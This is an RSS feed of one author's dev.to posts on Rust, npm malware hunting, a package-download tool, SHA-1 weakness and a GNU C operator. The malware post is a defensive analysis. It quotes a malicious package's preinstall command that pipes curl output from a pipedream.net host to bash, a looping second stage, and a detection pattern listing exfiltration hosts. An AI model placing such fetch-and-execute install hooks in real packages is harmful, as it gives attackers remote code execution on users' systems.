<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Michael Scovetta</title>
    <description>The latest articles on DEV Community by Michael Scovetta (@scovetta).</description>
    <link>https://dev.to/scovetta</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F993195%2Fcd62a4cb-449b-463e-854e-cc95ef43cac6.jpeg</url>
      <title>DEV Community: Michael Scovetta</title>
      <link>https://dev.to/scovetta</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/scovetta"/>
    <language>en</language>
    <item>
      <title>Learning Rust in 2023</title>
      <dc:creator>Michael Scovetta</dc:creator>
      <pubDate>Fri, 23 Dec 2022 18:16:32 +0000</pubDate>
      <link>https://dev.to/scovetta/learning-rust-in-2023-2k9j</link>
      <guid>https://dev.to/scovetta/learning-rust-in-2023-2k9j</guid>
      <description>&lt;p&gt;Another year passes where I've &lt;em&gt;started&lt;/em&gt; to learn Rust, but didn't quite get over to the "and now I feel productive" part of the curve.&lt;/p&gt;

&lt;p&gt;Fortunately, Google just published a four-day course called &lt;a href="https://google.github.io/comprehensive-rust/" rel="noopener noreferrer"&gt;Comprehensive Rust&lt;/a&gt;, which has received a bit of notice recently. &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffhto4e7u898g3yv77inp.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffhto4e7u898g3yv77inp.png" alt="Image of https://google.github.io/comprehensive-rust/" width="800" height="510"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Combined with the &lt;a href="https://doc.rust-lang.org/stable/book/" rel="noopener noreferrer"&gt;Rust Book&lt;/a&gt;, I plan to spend a few weeks in early 2023 to get this off my to-do list and onto my to-done list.&lt;/p&gt;

&lt;p&gt;Are there other terrific resources for learning Rust out there that folks know about?&lt;/p&gt;

</description>
      <category>beginners</category>
      <category>angular</category>
      <category>javascript</category>
      <category>webdev</category>
    </item>
    <item>
      <title>Hunting for malware in npm</title>
      <dc:creator>Michael Scovetta</dc:creator>
      <pubDate>Thu, 22 Dec 2022 00:55:03 +0000</pubDate>
      <link>https://dev.to/scovetta/hunting-for-malware-in-npm-4c14</link>
      <guid>https://dev.to/scovetta/hunting-for-malware-in-npm-4c14</guid>
      <description>&lt;p&gt;I've spent the past two years or so hunting for malware in open source ecosystems (mostly npm and PyPI, but a bit in the others too). We've found and reported over 20,000 instances in that time, and while we're certainly not the only group to be doing this work, I'm proud of how quickly we're able to detect and report.&lt;/p&gt;

&lt;p&gt;In this post, I wanted to share some details about how I discover these and what I do about them. I'm only going to talk about one specific malware type, which is among the most basic. There have been previous write-ups about these, so there's nothing "new" in this post that you can't learn elsewhere.&lt;/p&gt;

&lt;h3&gt;
  
  
  How Malware Executes
&lt;/h3&gt;

&lt;p&gt;When you install a package from npm, the package has an opportunity to run "preinstall" scripts. These are arbitrary commands, defined in package.json, that run either before, during, or after installation. (There are a few others; check out the &lt;a href="https://docs.npmjs.com/cli/v9/using-npm/scripts"&gt;docs&lt;/a&gt; for more information.)&lt;/p&gt;

&lt;p&gt;Since these preinstall scripts can do pretty much anything, they're a simple source for malware. Attackers can exfiltrate data, install other packages, make changes to your system, or anything else that the user running the script would be able to do, including connecting to other network endpoints.&lt;/p&gt;

&lt;h3&gt;
  
  
  Detecting Preinstall Malware
&lt;/h3&gt;

&lt;p&gt;The simplest way to detect this type of malware is to look for it in package.json files. You can download the package (being careful not to install it -- &lt;a href="https://dev.to/scovetta/oss-gadget-using-oss-download-1gi8"&gt;oss-download&lt;/a&gt; can be helpful here) and then use &lt;code&gt;jq&lt;/code&gt; or another command to search for commands in the file.&lt;/p&gt;

&lt;h3&gt;
  
  
  Case Study: pkg:npm/reactjs-slick
&lt;/h3&gt;

&lt;p&gt;For this post, we're going to explore the &lt;a href="https://www.npmjs.com/package/reactjs-slick?activeTab=explore"&gt;reactjs-slick&lt;/a&gt; module, which was posted a few hours ago.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# oss-download -e pkg:npm/reactjs-slick

   ____   _____ _____    _____           _            _
  / __ \ / ____/ ____|  / ____|         | |          | |
 | |  | | (___| (___   | |  __  __ _  __| | __ _  ___| |_
 | |  | |\___ \\___ \  | | |_ |/ _` |/ _` |/ _` |/ _ \ __|
 | |__| |____) |___) | | |__| | (_| | (_| | (_| |  __/ |_
  \____/|_____/_____/   \_____|\__,_|\__,_|\__, |\___|\__|
                                            __/ |
                                           |___/          
OSS Gadget - oss-download 0.1.357+c946c93324 - github.com/Microsoft/OSSGadget
INFO  - Downloaded pkg:npm/reactjs-slick to /tmp/t/npm-reactjs-slick@2.0.2

# find . -name package.json | xargs jq .scripts.preinstall                                                                                                                                                      
"curl https://d621fdf07c471f049aba6ce202295bea.m.pipedream.net | bash"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;So here, we're seeing that when the &lt;code&gt;reactjs-slick&lt;/code&gt; module is installed, the &lt;code&gt;curl&lt;/code&gt; command is used to download a command from that long URL and pass it to &lt;code&gt;bash&lt;/code&gt;. &lt;/p&gt;

&lt;p&gt;&lt;strong&gt;This is effectively a reverse shell, allowing the attacker to run arbitrary commands on your system.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;If we load that URL (being very careful), we see it ends up running this command:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;watch -n 10 'curl https://3513c0f0392eb1c8690450709ee37093.m.pipedream.net | bash'; node index.js;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;So every 10 seconds, that other URL is loaded and executed:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;touch /tmp/redparsecdhackediwasheredone
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  OSS Gadget: oss-detect-backdoor
&lt;/h3&gt;

&lt;p&gt;My team and I packaged up a bunch of suspicious patterns into a tool, part of the &lt;a href="https://github.com/Microsoft/OSSGadget"&gt;OSS Gadget&lt;/a&gt; suite. You can use this to automatically download and scan for interesting patterns. In this case of the reactjs-slick module, we detect it easily:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# oss-detect-backdoor pkg:npm/reactjs-slick

   ____   _____ _____    _____           _            _
  / __ \ / ____/ ____|  / ____|         | |          | |
 | |  | | (___| (___   | |  __  __ _  __| | __ _  ___| |_
 | |  | |\___ \\___ \  | | |_ |/ _` |/ _` |/ _` |/ _ \ __|
 | |__| |____) |___) | | |__| | (_| | (_| | (_| |  __/ |_
  \____/|_____/_____/   \_____|\__,_|\__,_|\__, |\___|\__|
                                            __/ |
                                           |___/          
OSS Gadget - oss-detect-backdoor 0.1.365+570ffa6632 - github.com/Microsoft/OSSGadget
--[ Match #1 of 7 ]--
   Rule Id: BD001002
       Tag: Security.DependencyConfusion.AttackPattern.SuspiciousHostname
  Severity: Critical, Confidence: High
  Filename: /npm-reactjs-slick@2.0/package/index.js
   Pattern: .{1,45}\.(pipedream\.net|ceye\.io|burpcollaborator\.net|interact\.sh|requestbin\.net|nmnfbb\.com)
  | });
  | 
  | var options = {
  |     hostname: "d621fdf07c471f049aba6ce202295bea.m.pipedream.net", //replace burpcollaborator.net wit
  |     port: 443,
  |     path: "/",
  |     method: "POST",
  | 
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Attacker or Security Researcher?
&lt;/h3&gt;

&lt;p&gt;In many cases, the "attacker" is a security researcher, doing this either as part of a penetration test or to demonstrate an attack's effectiveness.&lt;/p&gt;

&lt;p&gt;In this case, the module was published by someone with a few others, that all appear to be similar ("r3dpars3c was doing pentest here").&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--RGnQIxuc--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/xuohjdu35e2w9tlnre7u.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--RGnQIxuc--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/xuohjdu35e2w9tlnre7u.png" alt="Screenshot from npm" width="880" height="560"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Of course, nothing stops an actual attacker from writing the same thing, so I don't differentiate between what I believe to be a real attack and a simulated one.&lt;/p&gt;

&lt;h3&gt;
  
  
  Reporting the Module
&lt;/h3&gt;

&lt;p&gt;We can easily report these types of modules. Within npm, you can click on the "Report malware" button on the right side of the module's page.&lt;/p&gt;

&lt;p&gt;In this particular case, the author's other packages had similar malware, so we reported all four to the npm security team, and all have since been removed from the registry.&lt;/p&gt;

</description>
      <category>security</category>
      <category>opensource</category>
      <category>malware</category>
    </item>
    <item>
      <title>OSS Gadget: Using oss-download</title>
      <dc:creator>Michael Scovetta</dc:creator>
      <pubDate>Wed, 21 Dec 2022 06:36:27 +0000</pubDate>
      <link>https://dev.to/scovetta/oss-gadget-using-oss-download-1gi8</link>
      <guid>https://dev.to/scovetta/oss-gadget-using-oss-download-1gi8</guid>
      <description>&lt;p&gt;As a security researcher, I often find myself downloading packages (rather than installing them). This is often harder than it should be, either requiring specific ecosystem-specific tools like &lt;code&gt;npm&lt;/code&gt; or &lt;code&gt;pip&lt;/code&gt;, or searching through websites like &lt;a href="https://repo1.maven.org" rel="noopener noreferrer"&gt;https://repo1.maven.org&lt;/a&gt;. &lt;/p&gt;

&lt;p&gt;As a developer, I loathe repeating myself, so a few years ago, my team and I started building a collection of tools we call &lt;a href="https://github.com/Microsoft/OSSGadget" rel="noopener noreferrer"&gt;OSS Gadget&lt;/a&gt;. It simplifies and automates various task that we've needed to perform, and thought it would help others too.&lt;/p&gt;

&lt;p&gt;OSS Gadget includes tools to help you download and extract packages, identify malware or cryptography, extract interesting characteristics, detect typo-squatting, and various other things.&lt;/p&gt;

&lt;p&gt;In this post, I wanted to share the &lt;code&gt;oss-download&lt;/code&gt; tool, which as the name suggests, helps you download and optionally extract packages from a wide variety of package ecosystems.&lt;/p&gt;

&lt;p&gt;The &lt;code&gt;oss-download&lt;/code&gt; tool operates on a &lt;a href="https://github.com/package-url/purl-spec" rel="noopener noreferrer"&gt;Package URL&lt;/a&gt;, which is a convenient way to express an ecosystem, package, and version. For example, the Python Django package would be &lt;code&gt;pkg:pypi/django&lt;/code&gt;, and version 4.1.4 of Django would be &lt;code&gt;pkg:pypi/django@4.1.4&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;To download Django 4.1.4, just run:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# oss-download pkg:pypi/django@4.1.4

   ____   _____ _____    _____           _            _
  / __ \ / ____/ ____|  / ____|         | |          | |
 | |  | | (___| (___   | |  __  __ _  __| | __ _  ___| |_
 | |  | |\___ \\___ \  | | |_ |/ _` |/ _` |/ _` |/ _ \ __|
 | |__| |____) |___) | | |__| | (_| | (_| | (_| |  __/ |_
  \____/|_____/_____/   \_____|\__,_|\__,_|\__, |\___|\__|
                                            __/ |
                                           |___/          
OSS Gadget - oss-download 0.1.365+570ffa6632 - github.com/Microsoft/OSSGadget
INFO  - Downloaded pkg:pypi/django@4.1.4 to /usr/src/app/pypi-bdist_wheel-django@4.1.4.whl
INFO  - Downloaded pkg:pypi/django@4.1.4 to /usr/src/app/pypi-sdist-django@4.1.4.tar.gz
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If you'd like to automatically extract the contents of the packages (recursively), use the &lt;code&gt;-e&lt;/code&gt; option:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# oss-download -e pkg:pypi/django@4.1.4
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;You can also download all version of a package by simply using a &lt;code&gt;*&lt;/code&gt; as the version:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# oss-download pkg:pypi/django@*
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;OSS Gadget supports Cargo, Cocoapods, Composer, CPAN, CRAN, RubyGems, Go, GitHub, Hackage, Maven, npm, NuGet, PyPI, Ubutnu, and the Visual Studio Marketplace.&lt;/p&gt;

&lt;p&gt;We hope OSS Gadget is useful; if you run into any trouble, please open an &lt;a href="https://github.com/Microsoft/OSSGadget/issues" rel="noopener noreferrer"&gt;issue&lt;/a&gt;.&lt;/p&gt;

</description>
      <category>watercooler</category>
    </item>
    <item>
      <title>Broken Hash Functions</title>
      <dc:creator>Michael Scovetta</dc:creator>
      <pubDate>Wed, 21 Dec 2022 04:41:39 +0000</pubDate>
      <link>https://dev.to/scovetta/broken-hash-functions-54l1</link>
      <guid>https://dev.to/scovetta/broken-hash-functions-54l1</guid>
      <description>&lt;p&gt;This is a post about cryptography, but not "crypto". There will be no talk of NTFs, the latest meltdowns, or wallets of any sort.&lt;/p&gt;

&lt;p&gt;Instead, I wanted to talk briefly about the state of broken hash functions. SHA-1 was in the news last week, with NIST finally &lt;a href="https://www.nist.gov/news-events/news/2022/12/nist-retires-sha-1-cryptographic-algorithm"&gt;declaring&lt;/a&gt; it "end of life", suggesting it be phased out by early 2031.&lt;/p&gt;

&lt;p&gt;Now this shouldn't be news to anyone in the security community. We've known SHA-1 was fundamentally broken since 2005, and reminded again in 2017 with the &lt;a href="https://shattered.io/"&gt;SHAttered&lt;/a&gt; attack.&lt;/p&gt;

&lt;p&gt;But what does "broken" really mean? Is SHA-1 dangerous in all cases, or just some? Is is just something that cryptographers and security people get worked up about, or is it actually something that regular developers need to care about?&lt;/p&gt;

&lt;p&gt;Well, in my opinion, it's a little from column 'A' and a little from column 'B'.&lt;/p&gt;

&lt;p&gt;But let's get this out of the way up front: Don't use SHA-1. Use SHA-256, SHA-512, or SHA-3. Don't use exotic hash functions or try to roll your own. If you see MD5, turn around and walk the other way. If you're storing passwords, you'll need to do something else too (more on that later).&lt;/p&gt;

&lt;p&gt;Now, the attacks against SHA-1 break the "collision resistance" property of cryptographic hash functions. Collision resistance means that it should be really, really hard for anyone to find two different input strings that have the same hash value. We define "really, really hard" to mean, "you might as well just search all inputs, one by one, until you find one by chance" -- or "brute force".&lt;/p&gt;

&lt;p&gt;SHA-1 has 160 bits of output, which means 80 bits of collision resistance (due to the Birthday Paradox). This means you should have to try (roughly) 2&lt;sup&gt;80&lt;/sup&gt; guesses before you find two strings that have the same hash value. In practice, researchers have been able to get that down to around 2&lt;sup&gt;61&lt;/sup&gt;, or around 500,000 times faster than brute force.&lt;/p&gt;

&lt;p&gt;But collision resistance is just one of a few properties that hash functions have. The other important one is called "pre-image resistance". This one is about, "if you give me a hash output, can I find an input string that would generate it?". SHA-1 maintains pre-image resistance, and shows no visible signs of weakness.&lt;/p&gt;

&lt;h3&gt;
  
  
  Does this mean SHA-1 is safe to use?
&lt;/h3&gt;

&lt;p&gt;The truth is, "it depends". If you're a cryptographer, you're certainly capable to determining whether a particular use of a hash function demands pre-image resistance, collision resistance, or both. But you're probably not a cryptographer, and as much as it may bruise your ego, you're probably not equipped to make this call. Sorry.&lt;/p&gt;

&lt;h3&gt;
  
  
  Can I still store passwords as hashed SHA-1?
&lt;/h3&gt;

&lt;p&gt;Absolutely not! This was a terrible idea back in 1995, and is still a terrible idea. But it's not at all about weaknesses in SHA-1 -- instead, it's easy to just "hash all of the passwords" through SHA-1, or SHA-512, or SHA-3, or whatever, and compare to the list retrieved from your database. Instead, you need to use some combination of salt, pepper, iterated hashing, encryption, and memory-hard algorithms to ensure that an attacker with a database dump can't learn anything interesting.&lt;/p&gt;

</description>
      <category>cryptography</category>
    </item>
    <item>
      <title>C's Ternary Operator</title>
      <dc:creator>Michael Scovetta</dc:creator>
      <pubDate>Wed, 21 Dec 2022 03:34:31 +0000</pubDate>
      <link>https://dev.to/scovetta/cs-ternary-operator-2m7b</link>
      <guid>https://dev.to/scovetta/cs-ternary-operator-2m7b</guid>
      <description>&lt;p&gt;I first learned to program in C when I was 14 or 15, and in the decades since, I've used the ternary operator often enough. It's convenient in cases like:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="cp"&gt;#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;stdio.h&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;stdlib.h&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
&lt;/span&gt;
&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="n"&gt;bool&lt;/span&gt; &lt;span class="n"&gt;is_admin&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;check_admin&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
  &lt;span class="n"&gt;set_level&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;is_admin&lt;/span&gt; &lt;span class="o"&gt;?&lt;/span&gt; &lt;span class="mi"&gt;999&lt;/span&gt; &lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The ternary operator works the same if you had written:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="cp"&gt;#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;stdio.h&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;stdlib.h&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
&lt;/span&gt;
&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="n"&gt;bool&lt;/span&gt; &lt;span class="n"&gt;is_admin&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;check_admin&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
  &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;is_admin&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;set_level&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;999&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;set_level&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I came across another form of this operator, which I don't recall ever seeing before, and wanted to share. As it turns out, this is a &lt;a href="https://gcc.gnu.org/onlinedocs/gcc-12.2.0/gcc/Conditionals.html#Conditionals"&gt;GNU extension&lt;/a&gt;. You can omit the statement between the &lt;code&gt;?&lt;/code&gt; and the &lt;code&gt;:&lt;/code&gt; entirely, and the operator changes a bit, returning either the value before the operator if it isn't false, null, or zero, or the value after it otherwise.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="cp"&gt;#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;stdio.h&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;stdlib.h&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
&lt;/span&gt;
&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;temp_dir&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;getenv&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"TEMPDIR"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;?:&lt;/span&gt;
                   &lt;span class="n"&gt;getenv&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"TMPDIR"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;?:&lt;/span&gt;
                   &lt;span class="n"&gt;getenv&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"TEMP"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;?:&lt;/span&gt;
                   &lt;span class="s"&gt;"/tmp"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Temp dir is: %s"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;temp_dir&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is essentially the same as:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="cp"&gt;#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;stdio.h&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;stdlib.h&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
&lt;/span&gt;
&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;temp_dir&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;getenv&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"TEMPDIR"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;temp_dir&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;temp_dir&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;getenv&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"TMPDIR"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;temp_dir&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;temp_dir&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;getenv&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"TEMP"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;temp_dir&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;null&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;temp_dir&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"/tmp"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

  &lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Temp dir is: %s"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;temp_dir&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is usually called a null-coalescing operator, and exists in other languages too, like &lt;a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Nullish_coalescing"&gt;JavaScript&lt;/a&gt; and &lt;a href="https://learn.microsoft.com/en-us/dotnet/csharp/language-reference/operators/null-coalescing-operator"&gt;C#&lt;/a&gt;.&lt;/p&gt;

</description>
      <category>c</category>
    </item>
  </channel>
</rss>
